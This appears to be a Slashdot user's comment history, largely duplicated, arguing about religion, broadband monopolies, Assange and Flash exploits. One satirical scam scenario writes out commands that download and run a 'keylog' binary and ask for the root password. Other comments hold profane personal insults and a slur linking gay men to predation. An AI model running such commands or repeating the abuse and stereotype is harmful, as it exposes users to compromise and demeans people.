But your problem is that his statement was bound in empirical fact where yours is bigoted ignorance. In making it, you responded to someone presenting logical evidence with you adopting the "creationist mindset".
Now you can worship Bill Nye all day long for all I care. It doesn't matter to me. But don't counter fact with bullshit you made up on the spot because your feelings are hurt.
statutory rape exists when the rape is completely rape by act of law between two otherwise consenting people. Rape exist when one party doesn't consent and unfortunately, statutory rape is the same generally because the law assumes one or both of the parties cannot give consent for whatever reason (age, mental state).
You are right that the legitimate rape was claimed to be an attempt to make a claim about rape other then statutory. but the claim attached didn't seem hold water much either. There are some doctors out there claiming that the violence associated with rape (not just holding someone down but the forcing and stuff too), combined with the mental trauma makes pregnancy highly unlikely. Evidently, there doesn't seem to be a statistical recognition of that.
As of now, it is just a bunch of words people bring out like the tubes or I invented the internet. or 640k should be enough for anyone.
Actually, it is the covenants with god. There are several made through several different times in the bible. Jesus was supposed to be the last one and until the prophecy was fulfilled, the old covenant reigned. The symbolism of Jesus being the lamb of god sacrificed was to bring the end of the old and enter the new covenant.
Ever wonder why it is said that Jesus brought peace? Its because through his sacrifice all sin are forgiven which ended the struggles of man not being able to appease god.
And only the stuff repeated through the covenants are required to be followed when a new covenant is made. This is why you do not see jews killing doves after childbirth.
Well, they would probably be driving station wagons except that the last few rounds of fuel efficiency standards made them duds to drive and impractical for car makers to sell. When the station wagons disappeared, the de facto family car for a lot of household became the SUV and king cab pickup trucks.
For all we know, there is no supernatural being. Because in all we know, there is zero evidence of one.
Whether you know of something or not does not mean it is real or not. You are stuck in a fallacy trying to state that only what you can see exists. There certainly are people who believe a supernatural being exists and there are people who have believed it for a couple hundred centuries or more including eye witness accounts of it. that is not exactly empirical evidence but it is far from zero evidence. Come back to reality and stop insisting what you don't know to be true.
"Evolution does not in any way disprove creation," actually, it does. Creating is an idea put forth in the Bible, and it has been thoroughly shut down.
Hahaha.. you are so funny. Tell me, where has it been shut down. Where exactly has science proved that supernatural events never- ever- happened at all. Show me where science has tested supernatural events- the same events that very well could have created all that science knows.
Creation simply is not testable.. period. All science can do is say we think or see it happening this way instead based on this evidence. Anything other then that when talking about some super powerful being creating something and it is not science. You are completely free to choose to believe whatever explanation is presented otherwise, but you simply cannot lie and say it has been shut down or disproven by science.
If you would bother to understand what Science is, you would understand that.
I simply cannot stop laughing at you. If you actually knew what science was, you would have not posted your reply.
Now go on and troll about how science disproved supernatural events and makes factual statements about things that simply cannot be tested. I will need a good laugh later when I check back in.
The offering wasn't a serious, take them and I'll watch doing nothing. It was the metaphorical, these are under the protection of my roof, if you take them it is the same as or worse than taking my daughters.
In other words, the offering was to show how much of an insult it was to put his guests in harms way. Even outside of biblical values, women or in this case female children, had a certain reverence among the communities. While they didn't have the rights of men, they had protections.
Maybe I'm hanging out with the wrong crowds but the only time I see the 6000 years brought up seems to be by Atheists or someone wanting to criticize Christians. I checked and there actually was someone who attempted to go through the bible and calculate the age of the world by adding the age of the people in it together. He came up with 6000 years and the roman catholic church adopted it. However, I don't really see nit as a core tenet of the christian faith in my experience with people.
I guess that's what you get when you take a job away from a Union thug by buying a foreign car. I remember a similar incident in the early 80's but in a Toyota. A bunch of road workers were directing traffic and one of the leaned into the pickup and said, you took a job away from an American worker when you purchased that foreign piece of crap. My uncle who wasn't well know for being quick on his feet, noticed his job was to hold the slow sign and quickly replied with, well, I can replace your job with a bucket of sand. Several years later, the road workers went on strike because they heard the Japanese had developed a kickstand for a shovel and looking back, we realized it was all because that one worker turned into a bucket of sand.
Wow, it looks like part of my reply submission got ate somehow.
I agree. Zero day exploits was a real big problem with Flash and Java a while ago- I'm not aware of any for MS windows recently though. But what you are talking about is typically the user doing something, not a simple open share causing the entire system to be infected on a remote computer.
I think one of the flash exploits used a mouse over event to confirm an applet to load with flash or Java the next time it was started. Another exploit made it appear like the browser was locking up, but instead it was downloading small files to be installed on a restart of the browser. Those exploits specifically banked on you doing that to try to protect your system the way you did for their infection.
I guess flash and Java are still having problems keeping their programs secure. I remember reading of several zero day exploits less then a week ago. ("zero day" exploit means not only an un-patched exploit, but one that was discovered after it was in use in the wild by malware/virus in case anyone is wondering)
This is laughable. So you are telling me that something that for all we know could be the direct result of a supernatural being imposing it's will is proof to you that a supernatural being never created the environment you think contradicts itself.
I guess your rejection of critical thinking might be a problem too. You see, the biblical story can be summed up with a supernatural being did some supernatural stuff and the results are what we know today, even what the theory of evolution thinks it knows. The biblical explanation also says the supernatural being gave dominion over the world to man and gave man the ability to use tools and such to exploit it. which sort of implies that anything about evolution that we can use to further our existence is on purpose.
Now before you reply, let me define supernatural. It means above nature or above natural means, not bound by the rules of nature. We are confined to the rules of nature, by default any GOD is not and in not being confined, their works if they exist(ed) can just as easily create our reality in what we can understand from a strictly natural observation. Evolution does not in any way disprove creation, it provides us with a useful set of tools that can used to further our existence and comfort.
I do agree that a flat out rejection of one or the other can be problematic but that is a symptom of how it is portrayed more then how it is. If people insist creation disproves evolution or evolution disproves creation, you will have one asserted over the other.
I can see it now. Your on linux? what version? Ok, I need access to it now, goto XYZ>!@#123.com and enter the confirmation code 2132 when requested.
So he logs in, runs ps aux, netstat -a, then top to make it look like he is doing important things. Acts like he is flipping through a couple pages in a book, whispers something to a pretend coworker, then comes back with "oh my, your sshd services seems to have been disabled." "this is a very important service as it stops your browser from being redirected to very bad sites and infecting you with malware". the user asks a few questions and he continues stating that we will have to re enable the service but first we need to install two programs to validate the sshd service is not infected with anything. wget keylog.isp.com/keylog./keylog This program here logs the services and checks them against a key file to ensure a clean version is loading. wget routeconnect.isp.com/routeconnect This program here will defeat any attempts of a badly infected computer to try and trick the logging software by going to a rogue website and presenting a valid response for infected files../routeconnect..It needs your administrative password. don't tell me what it is, but can you enter your root password now.
Great.. we will start it now, yes, i can verify it is not infected with anything. Lets look at why it wasn't running. ahh, you see it is not listed here in your/etc/init.d/services file. This is a sign of a badly infected machine. Lets correct that and move on. There are lots of things infected here.
For most "dad" or "mom" installs of linux, the outcome would be the same. If the scammer didn't ask for a SS number or do anything that screams beware, this could result in a number of back doors quite easily. The reason they entertain these ideas instead of running to the rocket scientist of a kid they raised is likely either not wanting to be told how dumb they are, how much of a burden or hassle they are, not wanting to wait until you get around to it, or whatever else the seem to experience even though you aren't trying to make them feel that way. Sometimes it is just hard emotionally for a parent to realize they need their kids after 20 or more years of it being the other way around with them providing for the kid.
Are you sure you because because infected by the Fake AV because of an open share or did it simply drop a file on the share and your AV pick it up as an infected file on your system?
There are a lot of windows 7 updates concerning code execution via network too. In the recent-past several years, the fake AV's floating around were using Java and Flash zero day exploits and spread mostly through an infected banner add or website but also had infect-able files it dropped on network shares too. I've had to deal with them off and on from a small corporate perspective and have never seen it actually infect another system via file share outside of just dropping files on a share.
Could this be the 10000000th time you've proved what a great UID you have? I'll check and see if you've won a prize.
Could this be the 10000000th time you've failed to remotely rise above the implied greatness of my great UID? I'll check and see if you've won a prize.
Rolling out fiber/copper to homes and businesses is a serious investment. You simply are not going to have more than a few companies making said investment even in the most urban of areas
I do not think I ever said it was or wasn't. If you were even close to as smart as you think you are, you would have seen where I said the last mile infrastructure was put in place by government granted monopoly regulation and unless that infrastructure is opened, those existing companies have an inherent advantage. That is not a natural monopoly in the market, it is the exploitation of a government granted monopoly,. Do you seriously think cable and telecom internet would have invested in laying the last mile cables and infrastructure at all if they didn't have this government granted monopoly?
and once that investment is made, the best way for a company to increase profit is to buyout or merge with your competition. Until you are left with a monopoly, or if you're extremely lucky, an oligopoly. Quality of service will go down and prices will go up.
and somehow you think busting that monopoly by requiring them to grant access to their lines at costs is not going to change this by letting all sorts of competition enter their market when service or other things suffer? You must be a fucking idiot.
But, hey, maybe enough Libertarian Magic Dust will override 30 years of evidence on rampant market consolidation, whether it be banks, airlines, or telecoms.
Yes, because regulating access to the infrastructure already in place due to government granted monopolies for the provision of internet services has everything to do with the improper regulation of banks or some libertarian mind think. If you would drop your ideological asshatery for a minute, you would see what I said is very far from libertarian mind think. In fact, I'm pretty sure your mind think will have far more devastating results then what you decry which is why I suggested you actually fucking look. So please stop working so hard to prove what an utterly useless moron you are.
I've heard stories like that before. I've never seen it happen though. In all the forums I asked questions in, I either got help, a read section X of the manual or follow this link to a walk-through, or a simple I don't know. A whole lot of I don't knows I might add. I did have someone tell me once to use a different piece of hardware that was known to work well instead of something no one had ever heard of.
I did get a best buy tech/sales drone/geeksquad tell me Linux was too hard and I shouldn't be messing with it when I was looking for a specific U,S Robotics modem that was on their website and all he wanted to show me was some wintel host process bullshit.
I'm not saying it didn't happen to you though. Obviously, we weren't at the same forums or IRC channels as I would have seen it happen to you.
I work with smaller companies and I'm always amazed at how a salesman can make a pointy headed boss woo like a little schoolgirl over their product and talk them into buying it without ever checking if it will works or anything.
But in another post up the thread, the op said they inherited the hardware from a similar but now defunct project. So it isn't quite as bad but still PHB saying we have this, make it work.
The host country has to agree to the diplomat before any immunity from local laws happen.
Any country can declare anyone a diplomat, but because the foreign country is sovereign, it needs to approve whether it will allow a foreigner inside it's borders receive special treatment or not.
Nah.. It will look like a robbery gone wrong or something stupid like a drug overdose with plenty of witnesses talking about his slide into depression.
It isn't the consensual sex that is the issue, but the nonconsensual sex, i.e. the rape and molestation. I'm not sure how you missed or misunderstood that.
Dude, in the 1990's, a US president committed perjury during a deposition for a sexual harassment lawsuit in which he was the subject of. Because the perjury turned out to be about sex (Sexual relations as in a blow job) the entire perjury or knowingly lieing to a court of law was over looks and the masses completely focused on the sex part.
I don't know what it is, but a good amount of people simply cannot grasp details as soon as sex is mentioned. Keep that in mind before you start getting headaches trying to figure out how otherwise intelligent people could be appearing so stupid.
Nobody is forcing anyone to take birth control, but right does an employer have to enforce their values onto their employees? You aren't talking about religious freedom, you are talking about allowing religious employers to put restrictions on their employees. Does the freedom of religion not matter to the employees?
I do not know if you are aware of this or not, but most religious and private organizations have the right to only employ people who believe like them. Churches are not required to employ atheists or other religious people. The boyscout are not required to give gays that really badly want to be around children jobs in their organization.
But with the exemptions in coverage, the employees if they disagree and use that disagreement to negotiate higher salaries which can more then make up the difference. There is the big thing, if you know you aren't getting the same benefits as someone else, you can compensate for it when negotiating your salary. Or are you of the opinion that the government should dictate the salary of everyone too?
"Just don't be a dick and try to block others that believe different than you, or pretend that if you aren't allowed to victimize others, then your freedoms are being infringed upon." hmmm.. Ever think about what you say?
Have you ever stopped to think why there is only ISP #1 or ISP # 2 in the first place? Could it be because it's not a natural monopoly but because they have the ability to use elements of their government granted monopoly that competitors do not have readily available access too?
The only regulation that needs to be in place is the opening of any infrastructure owned by a telecom or cable operator used in their endeavors to deliver internet access to anyone at costs for the same purpose.
Somehow I knew someone would miss the point and insist the concept of big government would be the way to fix big banks. The problem with that is the reality that government doesn't always do what you want it to do nor does it always act in what you think is your interest. They are essentially the big banks.
Perhaps you can learn to reason. There is no concept here to be understood but your inability to understand that you used an analogy that basically proved you were wrong, which just accomplished to show how feeble is your mind.
Stop pretending to be stupid. I made a logical fallacy to illustrate the absurdity of your claim that the government can do anything it wants " In the absence of laws strictly forbidding something". Even after pointing to the absurdness in the same post and paragraph you claim the analogy proved me wrong when it in fact, made you backtrack on your statement.
Man, you are slow, it is tedious to explain things to you. He has not been charged of anything, the prosecutors used an international agreement to request his extradition to be interrogated without consulting a Swedish judge, there is no process open in Sweden, there is nothing a Swedish judge can do until the charges are brought against him. The lawyers and the embassy offered the alternatives to the prosecutors. The prosecutors declined them.
Bullshit, bullshit, bullshit. Can't you even fucking read. Damn this is getting old. The judicial rules I posted specifically allows someone subject to the mandatory ""shall be there in person" part for question by arguing to a judge for relief. No charges have to be filed, Fuck man, it is right there in front of you for you to read and you appear to be too fucking intellectually lazy to bother doing so while insisting your mental fallacies are correct regardless of the text of any laws.
The prosecutor declined because the law says he Shall be there in person. It doesn't say he can be there, or he might be there, or if someone other country doesn't object to him being there. It says he has to be there for the inquiry to continue. The suspect or defendant can object for relief by convincing a judge that his presence and answers are not substantially material to the investigation or that the offense doesn't carry 1 year in prison or more.
Furthermore the Swedish prosecutors could interrogate him with him present in the embassy, or previously in UK custody, at any moment they wished. They chose not to. They don't want to interrogate him. They don't want to ascertain the truth. They want to crucify him. Period. This case would never even go to court in any country in the world. There is absolutely no evidence against him. It is just his word against the word of two people in two different cases.
Really? Where is this privilege for the Swedish prosecution to leave their jurisdiction and perform their duties as officers of the court in a land in which they have no legal authority? They cannot just make something up like you seem insistent on doing to maintain your view then impose it is as legal and proper to do. This is not the soviet era USSR where they make something up on the fly and if you disagree, you find out what the bottom of a 6 foot deep hole in the ground looks like. Government needs to be granted permission to do things. This permission is shown in law passed by the government.
You have yet to show any law, or any case in which the government has acted in the way you insist it can. This complete failure of yours would tell any intellectually honest person given that the laws say he shall be present, that your demands simply are not realisticly real or accurate in the situation. You have essentially insisted that "what I say is true because I said it" and that you will ignore any judicial rule, law, or evidence to the contrary while insisting the lack of evidence supporting what you said as proof of your correctness.
Now, in case you cannot understand what I had just said there, I will spell it out really simple like. You are ignoring what is real in order to maintain what you make up. You are pretending your ignorance is an authority when it is nothing but your lack of information and perhaps purposeful manipulation of the facts in order to maintain a fictional reality. You are essentially the lieing kid who grabbed something from the stand in front of their parents, broke it, then insisted it didn't happen.
Slashdot Mirror
But your problem is that his statement was bound in empirical fact where yours is bigoted ignorance. In making it, you responded to someone presenting logical evidence with you adopting the "creationist mindset".
Now you can worship Bill Nye all day long for all I care. It doesn't matter to me. But don't counter fact with bullshit you made up on the spot because your feelings are hurt.
statutory rape exists when the rape is completely rape by act of law between two otherwise consenting people. Rape exist when one party doesn't consent and unfortunately, statutory rape is the same generally because the law assumes one or both of the parties cannot give consent for whatever reason (age, mental state).
You are right that the legitimate rape was claimed to be an attempt to make a claim about rape other then statutory. but the claim attached didn't seem hold water much either. There are some doctors out there claiming that the violence associated with rape (not just holding someone down but the forcing and stuff too), combined with the mental trauma makes pregnancy highly unlikely. Evidently, there doesn't seem to be a statistical recognition of that.
As of now, it is just a bunch of words people bring out like the tubes or I invented the internet. or 640k should be enough for anyone.
Actually, it is the covenants with god. There are several made through several different times in the bible. Jesus was supposed to be the last one and until the prophecy was fulfilled, the old covenant reigned. The symbolism of Jesus being the lamb of god sacrificed was to bring the end of the old and enter the new covenant.
Ever wonder why it is said that Jesus brought peace? Its because through his sacrifice all sin are forgiven which ended the struggles of man not being able to appease god.
And only the stuff repeated through the covenants are required to be followed when a new covenant is made. This is why you do not see jews killing doves after childbirth.
Well, they would probably be driving station wagons except that the last few rounds of fuel efficiency standards made them duds to drive and impractical for car makers to sell. When the station wagons disappeared, the de facto family car for a lot of household became the SUV and king cab pickup trucks.
So, What's your point?
Seriously, you lost me there.
He was and you are missing the point.
Whether you know of something or not does not mean it is real or not. You are stuck in a fallacy trying to state that only what you can see exists. There certainly are people who believe a supernatural being exists and there are people who have believed it for a couple hundred centuries or more including eye witness accounts of it. that is not exactly empirical evidence but it is far from zero evidence. Come back to reality and stop insisting what you don't know to be true.
Hahaha.. you are so funny. Tell me, where has it been shut down. Where exactly has science proved that supernatural events never- ever- happened at all. Show me where science has tested supernatural events- the same events that very well could have created all that science knows.
Creation simply is not testable.. period. All science can do is say we think or see it happening this way instead based on this evidence. Anything other then that when talking about some super powerful being creating something and it is not science. You are completely free to choose to believe whatever explanation is presented otherwise, but you simply cannot lie and say it has been shut down or disproven by science.
I simply cannot stop laughing at you. If you actually knew what science was, you would have not posted your reply.
Now go on and troll about how science disproved supernatural events and makes factual statements about things that simply cannot be tested. I will need a good laugh later when I check back in.
I'm sorry the joke whizzed by you so fast that it took your common sense with it.
The offering wasn't a serious, take them and I'll watch doing nothing. It was the metaphorical, these are under the protection of my roof, if you take them it is the same as or worse than taking my daughters.
In other words, the offering was to show how much of an insult it was to put his guests in harms way. Even outside of biblical values, women or in this case female children, had a certain reverence among the communities. While they didn't have the rights of men, they had protections.
Maybe I'm hanging out with the wrong crowds but the only time I see the 6000 years brought up seems to be by Atheists or someone wanting to criticize Christians. I checked and there actually was someone who attempted to go through the bible and calculate the age of the world by adding the age of the people in it together. He came up with 6000 years and the roman catholic church adopted it. However, I don't really see nit as a core tenet of the christian faith in my experience with people.
I guess that's what you get when you take a job away from a Union thug by buying a foreign car. I remember a similar incident in the early 80's but in a Toyota. A bunch of road workers were directing traffic and one of the leaned into the pickup and said, you took a job away from an American worker when you purchased that foreign piece of crap. My uncle who wasn't well know for being quick on his feet, noticed his job was to hold the slow sign and quickly replied with, well, I can replace your job with a bucket of sand. Several years later, the road workers went on strike because they heard the Japanese had developed a kickstand for a shovel and looking back, we realized it was all because that one worker turned into a bucket of sand.
Wow, it looks like part of my reply submission got ate somehow.
I agree. Zero day exploits was a real big problem with Flash and Java a while ago- I'm not aware of any for MS windows recently though. But what you are talking about is typically the user doing something, not a simple open share causing the entire system to be infected on a remote computer.
I think one of the flash exploits used a mouse over event to confirm an applet to load with flash or Java the next time it was started. Another exploit made it appear like the browser was locking up, but instead it was downloading small files to be installed on a restart of the browser. Those exploits specifically banked on you doing that to try to protect your system the way you did for their infection.
I guess flash and Java are still having problems keeping their programs secure. I remember reading of several zero day exploits less then a week ago. ("zero day" exploit means not only an un-patched exploit, but one that was discovered after it was in use in the wild by malware/virus in case anyone is wondering)
This is laughable. So you are telling me that something that for all we know could be the direct result of a supernatural being imposing it's will is proof to you that a supernatural being never created the environment you think contradicts itself.
I guess your rejection of critical thinking might be a problem too. You see, the biblical story can be summed up with a supernatural being did some supernatural stuff and the results are what we know today, even what the theory of evolution thinks it knows. The biblical explanation also says the supernatural being gave dominion over the world to man and gave man the ability to use tools and such to exploit it. which sort of implies that anything about evolution that we can use to further our existence is on purpose.
Now before you reply, let me define supernatural. It means above nature or above natural means, not bound by the rules of nature. We are confined to the rules of nature, by default any GOD is not and in not being confined, their works if they exist(ed) can just as easily create our reality in what we can understand from a strictly natural observation. Evolution does not in any way disprove creation, it provides us with a useful set of tools that can used to further our existence and comfort.
I do agree that a flat out rejection of one or the other can be problematic but that is a symptom of how it is portrayed more then how it is. If people insist creation disproves evolution or evolution disproves creation, you will have one asserted over the other.
I can see it now. Your on linux? what version? Ok, I need access to it now, goto XYZ>!@#123.com and enter the confirmation code 2132 when requested.
So he logs in, runs ps aux, netstat -a, then top to make it look like he is doing important things. Acts like he is flipping through a couple pages in a book, whispers something to a pretend coworker, then comes back with "oh my, your sshd services seems to have been disabled." "this is a very important service as it stops your browser from being redirected to very bad sites and infecting you with malware". the user asks a few questions and he continues stating that we will have to re enable the service but first we need to install two programs to validate the sshd service is not infected with anything. wget keylog.isp.com/keylog ./keylog This program here logs the services and checks them against a key file to ensure a clean version is loading. wget routeconnect.isp.com/routeconnect This program here will defeat any attempts of a badly infected computer to try and trick the logging software by going to a rogue website and presenting a valid response for infected files. ./routeconnect ..It needs your administrative password. don't tell me what it is, but can you enter your root password now.
Great.. we will start it now, yes, i can verify it is not infected with anything. Lets look at why it wasn't running. ahh, you see it is not listed here in your /etc/init.d/services file. This is a sign of a badly infected machine. Lets correct that and move on. There are lots of things infected here.
For most "dad" or "mom" installs of linux, the outcome would be the same. If the scammer didn't ask for a SS number or do anything that screams beware, this could result in a number of back doors quite easily. The reason they entertain these ideas instead of running to the rocket scientist of a kid they raised is likely either not wanting to be told how dumb they are, how much of a burden or hassle they are, not wanting to wait until you get around to it, or whatever else the seem to experience even though you aren't trying to make them feel that way. Sometimes it is just hard emotionally for a parent to realize they need their kids after 20 or more years of it being the other way around with them providing for the kid.
Are you sure you because because infected by the Fake AV because of an open share or did it simply drop a file on the share and your AV pick it up as an infected file on your system?
There are a lot of windows 7 updates concerning code execution via network too. In the recent-past several years, the fake AV's floating around were using Java and Flash zero day exploits and spread mostly through an infected banner add or website but also had infect-able files it dropped on network shares too. I've had to deal with them off and on from a small corporate perspective and have never seen it actually infect another system via file share outside of just dropping files on a share.
Perhaps his account was hacked and it's really a russian spam bot posting?
Could this be the 10000000th time you've failed to remotely rise above the implied greatness of my great UID? I'll check and see if you've won a prize.
I do not think I ever said it was or wasn't. If you were even close to as smart as you think you are, you would have seen where I said the last mile infrastructure was put in place by government granted monopoly regulation and unless that infrastructure is opened, those existing companies have an inherent advantage. That is not a natural monopoly in the market, it is the exploitation of a government granted monopoly,. Do you seriously think cable and telecom internet would have invested in laying the last mile cables and infrastructure at all if they didn't have this government granted monopoly?
and somehow you think busting that monopoly by requiring them to grant access to their lines at costs is not going to change this by letting all sorts of competition enter their market when service or other things suffer? You must be a fucking idiot.
Yes, because regulating access to the infrastructure already in place due to government granted monopolies for the provision of internet services has everything to do with the improper regulation of banks or some libertarian mind think. If you would drop your ideological asshatery for a minute, you would see what I said is very far from libertarian mind think. In fact, I'm pretty sure your mind think will have far more devastating results then what you decry which is why I suggested you actually fucking look. So please stop working so hard to prove what an utterly useless moron you are.
I've heard stories like that before. I've never seen it happen though. In all the forums I asked questions in, I either got help, a read section X of the manual or follow this link to a walk-through, or a simple I don't know. A whole lot of I don't knows I might add. I did have someone tell me once to use a different piece of hardware that was known to work well instead of something no one had ever heard of.
I did get a best buy tech/sales drone/geeksquad tell me Linux was too hard and I shouldn't be messing with it when I was looking for a specific U,S Robotics modem that was on their website and all he wanted to show me was some wintel host process bullshit.
I'm not saying it didn't happen to you though. Obviously, we weren't at the same forums or IRC channels as I would have seen it happen to you.
I work with smaller companies and I'm always amazed at how a salesman can make a pointy headed boss woo like a little schoolgirl over their product and talk them into buying it without ever checking if it will works or anything.
But in another post up the thread, the op said they inherited the hardware from a similar but now defunct project. So it isn't quite as bad but still PHB saying we have this, make it work.
The host country has to agree to the diplomat before any immunity from local laws happen.
Any country can declare anyone a diplomat, but because the foreign country is sovereign, it needs to approve whether it will allow a foreigner inside it's borders receive special treatment or not.
Nah.. It will look like a robbery gone wrong or something stupid like a drug overdose with plenty of witnesses talking about his slide into depression.
Dude, in the 1990's, a US president committed perjury during a deposition for a sexual harassment lawsuit in which he was the subject of. Because the perjury turned out to be about sex (Sexual relations as in a blow job) the entire perjury or knowingly lieing to a court of law was over looks and the masses completely focused on the sex part.
I don't know what it is, but a good amount of people simply cannot grasp details as soon as sex is mentioned. Keep that in mind before you start getting headaches trying to figure out how otherwise intelligent people could be appearing so stupid.
I do not know if you are aware of this or not, but most religious and private organizations have the right to only employ people who believe like them. Churches are not required to employ atheists or other religious people. The boyscout are not required to give gays that really badly want to be around children jobs in their organization.
But with the exemptions in coverage, the employees if they disagree and use that disagreement to negotiate higher salaries which can more then make up the difference. There is the big thing, if you know you aren't getting the same benefits as someone else, you can compensate for it when negotiating your salary. Or are you of the opinion that the government should dictate the salary of everyone too?
"Just don't be a dick and try to block others that believe different than you, or pretend that if you aren't allowed to victimize others, then your freedoms are being infringed upon." hmmm.. Ever think about what you say?
Have you ever stopped to think why there is only ISP #1 or ISP # 2 in the first place? Could it be because it's not a natural monopoly but because they have the ability to use elements of their government granted monopoly that competitors do not have readily available access too?
The only regulation that needs to be in place is the opening of any infrastructure owned by a telecom or cable operator used in their endeavors to deliver internet access to anyone at costs for the same purpose.
Somehow I knew someone would miss the point and insist the concept of big government would be the way to fix big banks. The problem with that is the reality that government doesn't always do what you want it to do nor does it always act in what you think is your interest. They are essentially the big banks.
Stop pretending to be stupid. I made a logical fallacy to illustrate the absurdity of your claim that the government can do anything it wants " In the absence of laws strictly forbidding something". Even after pointing to the absurdness in the same post and paragraph you claim the analogy proved me wrong when it in fact, made you backtrack on your statement.
Bullshit, bullshit, bullshit. Can't you even fucking read. Damn this is getting old. The judicial rules I posted specifically allows someone subject to the mandatory ""shall be there in person" part for question by arguing to a judge for relief. No charges have to be filed, Fuck man, it is right there in front of you for you to read and you appear to be too fucking intellectually lazy to bother doing so while insisting your mental fallacies are correct regardless of the text of any laws.
The prosecutor declined because the law says he Shall be there in person. It doesn't say he can be there, or he might be there, or if someone other country doesn't object to him being there. It says he has to be there for the inquiry to continue. The suspect or defendant can object for relief by convincing a judge that his presence and answers are not substantially material to the investigation or that the offense doesn't carry 1 year in prison or more.
Really? Where is this privilege for the Swedish prosecution to leave their jurisdiction and perform their duties as officers of the court in a land in which they have no legal authority? They cannot just make something up like you seem insistent on doing to maintain your view then impose it is as legal and proper to do. This is not the soviet era USSR where they make something up on the fly and if you disagree, you find out what the bottom of a 6 foot deep hole in the ground looks like. Government needs to be granted permission to do things. This permission is shown in law passed by the government.
You have yet to show any law, or any case in which the government has acted in the way you insist it can. This complete failure of yours would tell any intellectually honest person given that the laws say he shall be present, that your demands simply are not realisticly real or accurate in the situation. You have essentially insisted that "what I say is true because I said it" and that you will ignore any judicial rule, law, or evidence to the contrary while insisting the lack of evidence supporting what you said as proof of your correctness.
Now, in case you cannot understand what I had just said there, I will spell it out really simple like. You are ignoring what is real in order to maintain what you make up. You are pretending your ignorance is an authority when it is nothing but your lack of information and perhaps purposeful manipulation of the facts in order to maintain a fictional reality. You are essentially the lieing kid who grabbed something from the stand in front of their parents, broke it, then insisted it didn't happen.